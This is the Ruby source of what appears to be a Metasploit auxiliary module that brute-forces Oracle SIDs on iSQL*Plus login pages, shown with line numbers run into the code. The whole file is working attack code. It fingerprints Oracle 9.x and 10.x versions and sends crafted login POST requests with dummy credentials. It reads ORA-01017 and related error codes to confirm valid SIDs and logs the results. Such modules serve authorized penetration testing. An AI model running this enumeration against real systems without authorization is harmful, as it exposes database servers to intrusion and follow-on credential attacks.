Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::AuthBrute9include Msf::Auxiliary::Report1011def initialize12super(13'Name' => 'Oracle iSQLPlus SID Check',14'Description' => %q{15This module attempts to bruteforce the SID on the Oracle application server iSQL*Plus16login pages. It does this by testing Oracle error responses returned in the HTTP response.17Incorrect username/pass with a correct SID will produce an Oracle ORA-01017 error.18Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to19fingerprint the version and automatically select the correct POST request.20},21'References' =>22[23[ 'URL', 'https://blog.carnal0wnage.com/' ],24],25'Author' => [ 'CG', 'todb' ],26'License' => MSF_LICENSE27)2829register_options([30Opt::RPORT(5560),31OptString.new('URI', [ true, 'Oracle iSQLPlus path', '/isqlplus/']),32OptString.new('SID', [ false, 'A single SID to test']),33OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),34OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30])35])3637deregister_options(38"RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE",39"BLANK_PASSWORDS", "USER_AS_PASS", "REMOVE_USER_FILE", "REMOVE_PASS_FILE",40"BRUTEFORCE_SPEED" # Slow as heck anyway41)4243end4445def sid_file46datastore['SIDFILE']47end4849def hostport50[target_host,rport].join(":")51end5253def uri54datastore['URI'] || "/isqlplus/"55end5657def timeout58(datastore['TIMEOUT'] || 30).to_i59end6061def msg62msg = "#{hostport} - Oracle iSQL*Plus -"63end6465def run_host(ip)66oracle_ver = get_oracle_version(ip)67if not check_oracle_version(oracle_ver)68print_error "#{msg} Unknown Oracle version, skipping."69return70end71begin72print_status("#{msg} Starting SID check")73sid_data.each do |sid|74guess = check_oracle_sid(ip,oracle_ver,sid)75return if guess and datastore['STOP_ON_SUCCESS']76end77rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e78print_error "#{msg} Cannot connect"79rescue ::Timeout::Error, ::Errno::EPIPE,Errno::ECONNRESET => e80print_error e.message81end82end8384def get_oracle_version(ip)85begin86res = send_request_cgi({87'version' => '1.1',88'uri' => uri,89'method' => 'GET',90}, timeout)91oracle_ver = nil92if (res.nil?)93print_error("#{msg} no response")94elsif (res.code == 200)95print_status("#{msg} Received an HTTP #{res.code}")96oracle_ver = detect_oracle_version(res)97elsif (res.code == 404)98print_error("#{msg} Received an HTTP 404, check URIPATH")99elsif (res.code == 302)100print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")101else102print_error("#{msg} Received an HTTP #{res.code}")103end104return oracle_ver105rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e106print_error "#{msg} Cannot connect"107end108end109110def detect_oracle_version(res)111m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)112oracle_ver = nil113oracle_ver = 10 if m[1] && m[1] =~ /10/114oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/115if oracle_ver116print_status("#{msg} Detected Oracle version #{oracle_ver}")117print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1118else119print_error("#{msg} Unknown Oracle version detected.")120end121return oracle_ver122end123124def check_oracle_version(ver)125[9.0,9.1,9.2,10].include? ver126end127128def build_post_request(ver,sid)129post_request = nil130case ver131when 9.0132post_request = "action=logon&sqlcmd=&sqlparms=&username=scott&password=tiger&sid=#{sid.strip}&privilege=&Log+In=%B5%C7%C2%BC"133when 9.1134post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"135when 9.2136post_request = "action=logon&username=a&password=a&sid=#{sid.strip}&login=Login"137when 10138post_request = "username=a&password=a&connectID=#{sid.strip}&report=&script=&dynamic=&type=&action=&variables=&event=login"139end140return post_request141end142143def parse_isqlplus_response(res,sid)144guess = false145if (res.nil?)146print_error("#{msg} No response")147elsif (res.code == 200)148if (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)149if sid.nil? || sid.empty?150print_good("#{msg} Received ORA-01017 on a blank SID -- SIDs are not enforced upon login.")151else152print_good("#{msg} Received ORA-01017, probable correct SID '#{sid.strip}'")153end154guess = true155elsif (res.body =~ /(ORA-12170):/ or res.body =~ /(ORA-12154):/ or res.body =~ /(ORA-12162):/)156vprint_status("#{msg} Incorrect SID: '#{sid.strip}' (got error code #{$1})")157elsif res.body =~ /(ORA-12541):/158print_status("#{msg} Possible correct SID, but got ORA-12541: No Listener error.")159guess = true160else161print_status("#{msg} Received an unknown error") # Should say what the error was162end163elsif (res.code == 404)164print_status("#{msg} Received an HTTP 404, check URIPATH")165elsif (res.code == 302)166print_status("#{msg} Received an HTTP 302 redirect to #{res.headers['Location']}")167else168print_status("#{msg} Received an unexpected response: #{res.code}")169end170171report_isqlplus_service(target_host,res) if res172return guess173end174175def report_isqlplus_service(ip,res)176sname = datastore['SSL'] ? 'https' : 'http'177report_service(178:host => ip,179:proto => 'tcp',180:port => rport,181:name => sname,182:info => res.headers["Server"].to_s.strip183)184end185186def report_oracle_sid(ip,sid)187report_note(188:host => ip,189:proto => 'tcp',190:port => rport,191:type => "oracle.sid",192:data => ((sid.nil? || sid.empty?) ? "*BLANK*" : sid),193:update => :unique_data194)195end196197def sid_data198if datastore['SID'] and not datastore['SID'].empty?199[datastore['SID']]200elsif sid_file and ::File.readable? sid_file201::File.open(sid_file,"rb") {|f| f.read f.stat.size}.each_line.map {|x| x.strip.upcase}.uniq202else203raise ArugmentError, "Cannot read file '#{sid_file}'"204end205end206207def check_oracle_sid(ip,oracle_ver,sid)208post_request = build_post_request(oracle_ver,sid)209vprint_status "#{msg} Trying SID '#{sid}', waiting for response..."210res = send_request_cgi({211'version' => '1.1',212'uri' => uri,213'method' => 'POST',214'data' => post_request,215'headers' =>216{217'Referer' => "http://#{ip}:#{rport}#{uri}"218}219}, timeout)220guess = parse_isqlplus_response(res,sid)221report_oracle_sid(ip,sid) if guess222return guess223end224end225226227